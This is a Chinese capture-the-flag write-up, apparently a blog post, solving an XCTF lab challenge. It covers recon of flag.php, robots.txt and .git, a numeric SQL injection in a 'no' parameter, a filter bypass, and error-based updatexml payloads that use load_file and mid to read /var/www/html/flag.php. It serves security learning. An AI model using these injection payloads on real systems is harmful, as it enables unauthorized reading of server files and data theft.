关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本关考察的是 SQL 注入漏洞,通过本关我们可以学校到如下内容:
-
靶场环境熟悉流程:flag.php => robots.txt => .git
-
SQL 注入文件读取:
load_file('PATH')
0x02:Write UP
进入页面,是一个简单的网站页面,我们先摸索一下网站的结构,点击 join 注册用户:
在成功 join 后,我们跳转回了首页,首页也显示了我们注册的信息:
点击 Blue17 链接进行跳转:
可以看到链接中出现了 ?no=1
字段,既然看到了,那就测试一下数字型的 SQL 注入漏洞(其实看到下面的 the contents of his/her blog 应该能想到服务端请求伪造漏洞,不过也确实存在):
测试的 Payload 如下:
- ?no=0 # 一般的主键都是从 1 开始, 0 应该读不出来会报错
- ?no=0 or 1=1 # 恒真,应该有回显
or 1=1 # 恒真,应该有回显
和我们预想的结果差不多,并且注意到,目标其实会报错,那我们这边就选择报错注入(按常规的 order by 然后 union 联合注入也可,但我懒得测了)。
在注入之前,亲,有没有发现俺们忽略了一个问题?
本题考查的真的是 SQL 注入吗?数据库里真的有 flag 吗?
这里我比较鸡贼,我先在靶场地址上访问了 /flag.php,发现没有爆 404 Not Found,那这说明了啥嘞,这说明了 flag 很有可能就放在 flag.php 文件中,而不是数据库中(看看我这套小连招省了多少事,做题前先把目标环境摸清,一摸 flag.php,二摸 robots.txt -> 这题也有惊喜,但不展开讲了,和我们获得 flag 没啥关系,三摸 .git 文件夹):
那目标很清晰了,利用 SQL 注入漏洞进行任意文件访问,最终读取 flag.php 的内容。
下面就是构造 Payload 不断尝试了,尝试过程如下(略写):
- Payload 1.0 : ?no=0 or updatexml(1,concat(0x7e,'test',0x7e),1) -> no hack ~_~
- Payload 2.0 : ?no=0 or updatexml(1,concat(1,'test',1),1) -> 把 0x7e 特殊字符替换掉 -> [*] query error! (XPATH syntax error: 'test1')
这过滤绕的属实轻松,看看其报错的路径 /var/www/html/db.php,再盲猜一波,flag 的路径:/var/www/html/flag.php,读取文件的函数为 load_file (),所以构造如下 Payload:
?no=0 or updatexml(1,concat(1,(select load_file('/var/www/html/flag.php')),1),1)
成功读取,那么下面就是用 mid () 函数对其进行截取拼接了,最终 Payload 如下:
- Payload 1 : ?no=0 or updatexml(1,concat(1,(select mid(load_file('/var/www/html/flag.php'),19,40)),1),1) -> [*] query error! (XPATH syntax error: 'flag{c1e552fdf77049fabf65168f22f')
- Payload 2 : ?no=0 or updatexml(1,concat(1,(select mid(load_file('/var/www/html/flag.php'),30,40)),1),1) -> [*] query error! (XPATH syntax error: 'fdf77049fabf65168f22f7aeab}"; e')
- 拼接去重结果: flag{c1e552fdf77049fabf65168f22f + fdf77049fabf65168f22f7aeab} -> flag{c1e552fdf77049fabf65168f22f7aeab}
评论记录:
回复评论: